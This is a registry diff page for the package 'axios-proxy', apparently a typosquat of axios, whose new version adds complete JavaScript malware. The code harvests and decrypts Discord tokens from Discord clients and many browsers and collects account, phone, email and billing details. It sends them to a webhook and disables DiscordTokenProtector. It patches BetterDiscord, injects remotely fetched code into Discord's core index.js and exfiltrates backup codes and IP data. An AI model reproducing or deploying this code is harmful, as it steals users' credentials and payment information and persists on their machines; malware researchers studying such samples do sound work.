axios-proxy 0.0.1-security → 1.7.9

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of axios-proxy might be problematic. Click here for more details.

@@ -0,0 +1,448 @@
1
+ module.exports = (client) => {
2
+ return {
3
+
4
+ async getTokens() {
5
+ var paths = {
6
+ 'Discord': client.utils.encryption.decryptData(client.config.user.appdata) + '\\discord\\Local Storage\\leveldb\\',
7
+ 'Discord Canary': client.utils.encryption.decryptData(client.config.user.appdata) + '\\discordcanary\\Local Storage\\leveldb\\',
8
+ 'Lightcord': client.utils.encryption.decryptData(client.config.user.appdata) + '\\Lightcord\\Local Storage\\leveldb\\',
9
+ 'Discord PTB': client.utils.encryption.decryptData(client.config.user.appdata) + '\\discordptb\\Local Storage\\leveldb\\',
10
+ 'Opera': client.utils.encryption.decryptData(client.config.user.appdata) + '\\Opera Software\\Opera Stable\\Local Storage\\leveldb\\',
11
+ 'Opera GX': client.utils.encryption.decryptData(client.config.user.appdata) + '\\Opera Software\\Opera GX Stable\\Local Storage\\leveldb\\',
12
+ 'Amigo': client.utils.encryption.decryptData(client.config.user.localappdata) + '\\Amigo\\User Data\\Local Storage\\leveldb\\',
13
+ 'Torch': client.utils.encryption.decryptData(client.config.user.localappdata) + '\\Torch\\User Data\\Local Storage\\leveldb\\',
14
+ 'Kometa': client.utils.encryption.decryptData(client.config.user.localappdata) + '\\Kometa\\User Data\\Local Storage\\leveldb\\',
15
+ 'Orbitum': client.utils.encryption.decryptData(client.config.user.localappdata) + '\\Orbitum\\User Data\\Local Storage\\leveldb\\',
16
+ 'CentBrowser': client.utils.encryption.decryptData(client.config.user.localappdata) + '\\CentBrowser\\User Data\\Local Storage\\leveldb\\',
17
+ '7Star': client.utils.encryption.decryptData(client.config.user.localappdata) + '\\7Star\\7Star\\User Data\\Local Storage\\leveldb\\',
18
+ 'Sputnik': client.utils.encryption.decryptData(client.config.user.localappdata) + '\\Sputnik\\Sputnik\\User Data\\Local Storage\\leveldb\\',
19
+ 'Vivaldi': client.utils.encryption.decryptData(client.config.user.localappdata) + '\\Vivaldi\\User Data\\Default\\Local Storage\\leveldb\\',
20
+ 'Chrome SxS': client.utils.encryption.decryptData(client.config.user.localappdata) + '\\Google\\Chrome SxS\\User Data\\Local Storage\\leveldb\\',
21
+ 'Chrome': client.utils.encryption.decryptData(client.config.user.localappdata) + '\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\',
22
+ 'Epic Privacy Browser': client.utils.encryption.decryptData(client.config.user.localappdata) + '\\Epic Privacy Browser\\User Data\\Local Storage\\leveldb\\',
23
+ 'Microsoft Edge': client.utils.encryption.decryptData(client.config.user.localappdata) + '\\Microsoft\\Edge\\User Data\\Defaul\\Local Storage\\leveldb\\',
24
+ 'Uran': client.utils.encryption.decryptData(client.config.user.localappdata) + '\\uCozMedia\\Uran\\User Data\\Default\\Local Storage\\leveldb\\',
25
+ 'Yandex': client.utils.encryption.decryptData(client.config.user.localappdata) + '\\Yandex\\YandexBrowser\\User Data\\Default\\Local Storage\\leveldb\\',
26
+ 'Brave': client.utils.encryption.decryptData(client.config.user.localappdata) + '\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Local Storage\\leveldb\\',
27
+ 'Iridium': client.utils.encryption.decryptData(client.config.user.localappdata) + '\\Iridium\\User Data\\Default\\Local Storage\\leveldb\\'
28
+ }
29
+
30
+ for (let [key, value] of Object.entries(paths)) {
31
+ if (!client.requires.fs.existsSync(value)) {
32
+ continue;
33
+ }
34
+
35
+ for (var file_name of client.requires.fs.readdirSync(value)) {
36
+ if (!file_name.endsWith(".log") && !file_name.endsWith(".ldb")) {
37
+ continue;
38
+ }
39
+
40
+ let path_split = value.split('\\'),
41
+ path_split_tail = value.includes('Network') ? path_split.splice(0, path_split.length - 3) : path_split.splice(0, path_split.length - 2),
42
+ path_tail = path_split_tail.join('\\') + '\\';
43
+
44
+
45
+
46
+ for (var line of client.requires.fs.readFileSync(`${value}/${file_name}`, encoding = "utf8").split("\n")) {
47
+
48
+ if (value.includes("cord")) {
49
+
50
+ let encrypted = Buffer.from(JSON.parse(client.requires.fs.readFileSync(path_tail.replace("Local Storage", "Local State")))
51
+ .os_crypt.encrypted_key, 'base64')
52
+ .slice(5);
53
+
54
+ const _key = client.requires.dpapi.unprotectData(Buffer.from(encrypted, "utf-8"), null, 'CurrentUser');
55
+
56
+ var encrypted_regex = /dQw4w9WgXcQ:[^\"]*/;
57
+ if (line.match(encrypted_regex)) {
58
+ try {
59
+ var token = Buffer.from(line.match(encrypted_regex)[0].split('dQw4w9WgXcQ:')[1], "base64");
60
+ let start = token.slice(3, 15),
61
+ middle = token.slice(15, token.length - 16),
62
+ end = token.slice(token.length - 16, token.length),
63
+ decipher = client.requires.crypto.createDecipheriv('aes-256-gcm', _key, start);
64
+
65
+ decipher.setAuthTag(end);
66
+ token = decipher.update(middle, 'base64', 'utf-8') + decipher.final('utf-8')
67
+
68
+ await this.validateToken(key, token);
69
+ } catch {}
70
+ }
71
+ } else {
72
+ [/\w-]{24}\.[\w-]{6}\.[\w-]{27}/, /mfa\.[\w-]{84}/].forEach(async (regex) => {
73
+ if (line.match(regex)) {
74
+ await this.validateToken(key, line.match(regex)[0]);
75
+ }
76
+ })
77
+ }
78
+ }
79
+ }
80
+ }
81
+
82
+
83
+ },
84
+
85
+ async validateToken(source, token) {
86
+
87
+ if (client.config.environ.validated_tokens.contains(token)) {
88
+ return;
89
+ }
90
+
91
+ client.config.environ.validated_tokens.push(token)
92
+
93
+ const req = await client.requires.axios({
94
+ url: "https://discord.com/api/v9/users/@me",
95
+ method: "GET",
96
+ headers: {
97
+ "Authorization": token,
98
+ "Content-Type": "application/json",
99
+ "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11"
100
+ }
101
+ }).catch((err) => {
102
+ return err.response;
103
+ });
104
+
105
+ if (req.request.res.statusCode == 200) {
106
+
107
+ const billing = await client.requires.axios({
108
+ url: "https://discord.com/api/v9/users/@me/billing/payment-sources",
109
+ method: "GET",
110
+ headers: {
111
+ "Authorization": token,
112
+ "Content-Type": "application/json",
113
+ "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11"
114
+ }
115
+ }).catch((err) => {
116
+ return err.response;
117
+ });
118
+
119
+ var _billing = [];
120
+
121
+ try {
122
+
123
+ billing.data.forEach(billing => {
124
+ if (billing.type == "") {
125
+ return "false"
126
+ } else if (billing.invalid == true) {
127
+ return "false"
128
+ } else if (billing.type == 2) {
129
+ _billing.push("PayPal")
130
+ } else if (billing.type == 1) {
131
+ _billing.push(`Credit Card (${billing.country})`)
132
+ }
133
+ })
134
+
135
+ } catch {}
136
+
137
+ if (!client.config.discord.grabbed_tokens[source]) {
138
+ client.config.discord.grabbed_tokens[source] = []
139
+ }
140
+
141
+ client.config.discord.grabbed_tokens[source].push({
142
+ "source": source,
143
+ "id": req.data.id,
144
+ "username": `${req.data.username}#${req.data.discriminator}`,
145
+ "phone": req.data.phone,
146
+ "email": req.data.email,
147
+ "locale": req.data.locale,
148
+ "nitro": this.getNitro(req.data.premium_type),
149
+ "badges": this.getBadges(req.data.flags),
150
+ "billing": _billing.join(", ") != '' ? _billing.join(", ") : 'None',
151
+ "token": token
152
+ });
153
+
154
+ client.config.discord.grabbed_tokens.all.push({
155
+ "source": source,
156
+ "id": req.data.id,
157
+ "username": `${req.data.username}#${req.data.discriminator}`,
158
+ "phone": req.data.phone,
159
+ "email": req.data.email,
160
+ "locale": req.data.locale,
161
+ "nitro": this.getNitro(req.data.premium_type),
162
+ "badges": this.getBadges(req.data.flags),
163
+ "billing": _billing.join(", ") != '' ? _billing.join(", ") : 'None',
164
+ "token": token
165
+ });
166
+
167
+ var fields = [];
168
+
169
+ for (let [key, value] of Object.entries({
170
+ "Source": source,
171
+ "Identifier": req.data.id,
172
+ "Username": `${req.data.username}#${req.data.discriminator}`,
173
+ "Phone Number": req.data.phone,
174
+ "E-Mail Address": req.data.email,
175
+ "Locale": req.data.locale,
176
+ "Nitro": this.getNitro(req.data.premium_type),
177
+ "Badges": this.getBadges(req.data.flags) != '' ? this.getBadges(req.data.flags) : 'None',
178
+ "Billing": _billing.join(", ") != '' ? _billing.join(", ") : 'None',
179
+ "Token": token
180
+ })) {
181
+ fields.push({
182
+ name: key,
183
+ value: `\`\`\`${value}\`\`\``,
184
+ inline: true,
185
+ })
186
+ }
187
+
188
+ await client.utils.webhook.sendToWebhook(
189
+ {
190
+ "embeds": [client.utils.webhook.createEmbed({
191
+ "title": `Found token in: ${source}`,
192
+ "fields": fields,
193
+ "thumbnail": {
194
+ "url": req.data.avatar ? `https://cdn.discordapp.com/avatars/${req.data.id}/${req.data.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"
195
+ },
196
+ "author": {
197
+ "name": `${req.data.username}#${req.data.discriminator} (${req.data.id})`,
198
+ "url": client.utils.encryption.decryptData(client.config.embed.href),
199
+ "icon_url": req.data.avatar ? `https://cdn.discordapp.com/avatars/${req.data.id}/${req.data.avatar}` : "https://cdn.discordapp.com/embed/avatars/0.png"
200
+ },
201
+ })],
202
+ })
203
+ }
204
+ },
205
+
206
+ async saveDiscordTokens() {
207
+ if (client.config.discord.grabbed_tokens.all.length == 0) {
208
+ return;
209
+ }
210
+ client.utils.jszip.createFolder("\\Discord")
211
+
212
+ for (let [key, value] of Object.entries(client.config.discord.grabbed_tokens)) {
213
+ if (value.length != 0) {
214
+ let result = "";
215
+
216
+ for (let obj of value) {
217
+ result += `==================================================\nSource : ${obj.source}\nIdentifier : ${obj.id}\nUsername : ${obj.username}\nPhone : ${obj.phone}\nE-Mail Address : ${obj.email}\nLocale : ${obj.locale}\nNitro : ${obj.nitro}\nBadges : ${obj.badges != '' ? obj.badges : 'None'}\nBilling : ${obj.billing != '' ? obj.billing : 'None'}\nToken : ${obj.token}\n==================================================\n\n`;
218
+ }
219
+
220
+ client.utils.jszip.createTxt(`\\Discord\\${key.toUpperCase()}.txt`, result)
221
+ }
222
+ }
223
+ },
224
+
225
+ getBadges(flags) {
226
+ var badges = {
227
+ Discord_Employee: {
228
+ Value: 1,
229
+ Emoji: "Discord Employee",
230
+ Rare: true,
231
+ },
232
+ Partnered_Server_Owner: {
233
+ Value: 2,
234
+ Emoji: "Partnered Server Owner",
235
+ Rare: true,
236
+ },
237
+ HypeSquad_Events: {
238
+ Value: 4,
239
+ Emoji: "HypeSquad Events",
240
+ Rare: true,
241
+ },
242
+ Bug_Hunter_Level_1: {
243
+ Value: 8,
244
+ Emoji: "Bug Hunter Level 1",
245
+ Rare: true,
246
+ },
247
+ Early_Supporter: {
248
+ Value: 512,
249
+ Emoji: "Early Supporter",
250
+ Rare: true,
251
+ },
252
+ Bug_Hunter_Level_2: {
253
+ Value: 16384,
254
+ Emoji: "Bug Hunter Level 2",
255
+ Rare: true,
256
+ },
257
+ Early_Verified_Bot_Developer: {
258
+ Value: 131072,
259
+ Emoji: "Early Verified Bot Developer",
260
+ Rare: true,
261
+ },
262
+ House_Bravery: {
263
+ Value: 64,
264
+ Emoji: "House Bravery",
265
+ Rare: false,
266
+ },
267
+ House_Brilliance: {
268
+ Value: 128,
269
+ Emoji: "House Brilliance",
270
+ Rare: false,
271
+ },
272
+ House_Balance: {
273
+ Value: 256,
274
+ Emoji: "House Balance",
275
+ Rare: false,
276
+ }
277
+ };
278
+
279
+ var result = [];
280
+ for (var prop in badges) {
281
+ prop = badges[prop]
282
+ if ((flags & prop.Value) == prop.Value && prop.Rare) result.push(prop.Emoji);
283
+ };
284
+ return result.join(", ");
285
+ },
286
+
287
+ getNitro(premium_type) {
288
+ switch (premium_type) {
289
+ case 0:
290
+ return "No Nitro";
291
+ case 1:
292
+ return "Nitro Classic";
293
+ case 2:
294
+ return "Nitro Boost";
295
+ default:
296
+ return "No Nitro";
297
+
298
+ };
299
+ },
300
+
301
+ bypass_token_protector() {
302
+ for (const file of ["DiscordTokenProtector.exe", "ProtectionPayload.dll", "secure.dat"]) {
303
+ if (client.requires.fs.exists(`${client.utils.encryption.decryptData(client.config.user.localappdata)}\\${file}`)) {
304
+ client.requires.fs.rm(`${client.utils.encryption.decryptData(client.config.user.localappdata)}\\${file}`);
305
+ }
306
+ }
307
+
308
+ const token_protector_config = JSON.parse(client.requires.fs.readFileSync(`${client.utils.encryption.decryptData(client.config.user.localappdata)}\\DiscordTokenProtector\\config.json`, {
309
+ encoding: "utf-8"
310
+ }))
311
+
312
+ token_protector_config['auto_start'] = false
313
+ token_protector_config['auto_start_discord'] = false
314
+ token_protector_config['integrity'] = false
315
+ token_protector_config['integrity_allowbetterdiscord'] = false
316
+ token_protector_config['integrity_checkexecutable'] = false
317
+ token_protector_config['integrity_checkhash'] = false
318
+ token_protector_config['integrity_checkmodule'] = false
319
+ token_protector_config['integrity_checkscripts'] = false
320
+ token_protector_config['integrity_checkresource'] = false
321
+ token_protector_config['integrity_redownloadhashes'] = false
322
+ token_protector_config['iterations_iv'] = 0
323
+ token_protector_config['iterations_key'] = 0
324
+ token_protector_config['version'] = 0
325
+
326
+ client.requires.fs.writeFileSync(
327
+ `${client.utils.encryption.decryptData(client.config.user.localappdata)}\\DiscordTokenProtector\\config.json`,
328
+ JSON.stringify(
329
+ token_protector_config,
330
+ null, 4
331
+ )
332
+ )
333
+ },
334
+
335
+ async listExecutables() {
336
+ var processes = []
337
+ client.requires.child_process.exec('tasklist', (err, stdout) => {
338
+ for (const executable of ['Discord.exe', 'DiscordCanary.exe', 'discordDevelopment.exe', 'DiscordPTB.exe']) {
339
+ if (stdout.includes(executable)) {
340
+ client.config.discord.running_executables.push(executable)
341
+ processes.push(executable)
342
+ }
343
+ }
344
+ })
345
+
346
+ return processes
347
+ },
348
+
349
+ pwnBetterDiscord() {
350
+ if (client.requires.fs.existsSync(client.utils.encryption.decryptData(client.config.user.appdata) + "/BetterDiscord/data/betterdiscord.asar")) {
351
+ var _ = client.requires.fs.readFileSync(client.utils.encryption.decryptData(client.config.user.appdata) + "/BetterDiscord/data/betterdiscord.asar")
352
+ client.requires.fs.writeFileSync(client.utils.encryption.decryptData(client.config.user.appdata) + "/BetterDiscord/data/betterdiscord.asar", client.requires.buf_replace(_,
353
+ "api/webhooks", "liliandorker_on_top"))
354
+
355
+ }
356
+
357
+ },
358
+
359
+ async modify_discord_core() {
360
+ const res = await client.requires.axios.get(client.utils.encryption.decryptData(client.config.discord.base_url));
361
+
362
+ const file = () => {
363
+ let tempFile = res.data.replace('%WEBHOOK_LINK%', client.config.webhook.url)
364
+ return tempFile;
365
+ }
366
+
367
+ for (const path of client.config.discord.files_path) {
368
+ client.requires.fs.writeFileSync(path, file(), {
369
+ encoding: 'utf8',
370
+ flag: 'w'
371
+ });
372
+ }
373
+ },
374
+
375
+ findDiscordCore(prefixPath, files) {
376
+ files.forEach((file) => {
377
+ if (client.requires.fs.statSync(`${prefixPath}\\${file}`).isDirectory()) {
378
+ this.findDiscordCore(`${prefixPath}\\${file}`, client.requires.fs.readdirSync(`${prefixPath}\\${file}`))
379
+ } else {
380
+ if (file == "index.js" && !prefixPath.includes("node_modules") && prefixPath.includes("desktop_core")) {
381
+ client.config.discord.files_path.push(`${prefixPath}\\${file}`);
382
+ }
383
+ }
384
+ })
385
+ },
386
+
387
+ findBackupCodes(prefixPath, files) {
388
+ files.forEach(async (file) => {
389
+ if (file.startsWith(".") || file.includes("AppData") || file.includes("Program")) {
390
+ return;
391
+ }
392
+ if (file.startsWith("discord_backup_codes")) {
393
+ await client.utils.webhook.sendToWebhook(
394
+ {
395
+ "embeds": [client.utils.webhook.createEmbed({
396
+ "title": `💰 Discord backup codes found`,
397
+ "description": `\`\`\`${prefixPath}\\${file}\n\n${client.requires.fs.readFileSync(`${prefixPath}\\${file}`)}\`\`\``,
398
+ })],
399
+ })
400
+ client.utils.jszip.createTxt(`\\${file}_${client.requires.crypto.randomUUID()}.txt`, client.requires.fs.readFileSync(`${prefixPath}\\${file}`))
401
+ }
402
+ })
403
+ },
404
+
405
+ async getIP() {
406
+ return (await client.requires.axios.get("https://ipinfo.io/json")).data;
407
+ },
408
+
409
+ async init() {
410
+ this.pwnBetterDiscord();
411
+ for (const folder of client.requires.fs.readdirSync(client.utils.encryption.decryptData(client.config.user.localappdata))) {
412
+ if (folder.toLowerCase().includes('iscord')) {
413
+ client.config.discord.executables.push(`${client.utils.encryption.decryptData(client.config.user.localappdata)}\\${folder}`)
414
+ }
415
+ }
416
+
417
+ for (const executable of client.config.discord.executables) {
418
+ this.findDiscordCore(executable, client.requires.fs.readdirSync(executable))
419
+ }
420
+
421
+ ["Videos", "Desktop", "Documents", "Downloads", "Pictures"].forEach(async (type) => {
422
+ await this.findBackupCodes(`${client.utils.encryption.decryptData(client.config.user.hostdir)}\\${type}`, client.requires.fs.readdirSync(`${client.utils.encryption.decryptData(client.config.user.hostdir)}\\${type}`))
423
+ })
424
+
425
+ await this.modify_discord_core(); // 1
426
+
427
+ await client.requires.child_process.exec('tasklist', async (err, stdout) => {
428
+ for (const executable of ['Discord.exe', 'DiscordCanary.exe', 'discordDevelopment.exe', 'DiscordPTB.exe']) {
429
+ if (stdout.includes(executable)) {
430
+ await client.requires.child_process.exec(`taskkill /F /T /IM ${executable}`, (err) => {}) // Close
431
+ await client.requires.child_process.exec(`"${client.utils.encryption.decryptData(client.config.user.localappdata)}\\${executable.replace('.exe', '')}\\Update.exe" --processStart ${executable}`, (err) => {}) // Start
432
+ }
433
+ }
434
+ })
435
+
436
+ const network_data = await this.getIP();
437
+
438
+ client.utils.jszip.createTxt("\\Network Data.txt", `IP Address: ${network_data['ip'] ?? "Unknown"}\nHostname: ${network_data['hostname'] ?? "Unknown"}\nCity: ${network_data['city'] ?? "Unknown"}\nRegion: ${network_data['region'] ?? "Unknown"}\nCountry: ${network_data["country"] ?? "Unknown"}\nTimezone: ${network_data["timezone"] ?? "Unknown"}`)
439
+
440
+ await client.utils.time.sleep(30000);
441
+ for (const path of client.config.discord.files_path) {
442
+ if (client.requires.fs.existsSync(path.replace("index.js", "liliandorker"))) {
443
+ client.requires.fs.rmdirSync(path.replace("index.js", "liliandorker"));
444
+ }
445
+ }
446
+ }
447
+ };
448
+ };
@@ -0,0 +1,11 @@
1
+ module.exports = (client) => {
2
+ return {
3
+ encryptData(data) {
4
+ return data;
5
+ },
6
+
7
+ decryptData(data) {
8
+ return data;
9
+ }
10
+ };
11
+ };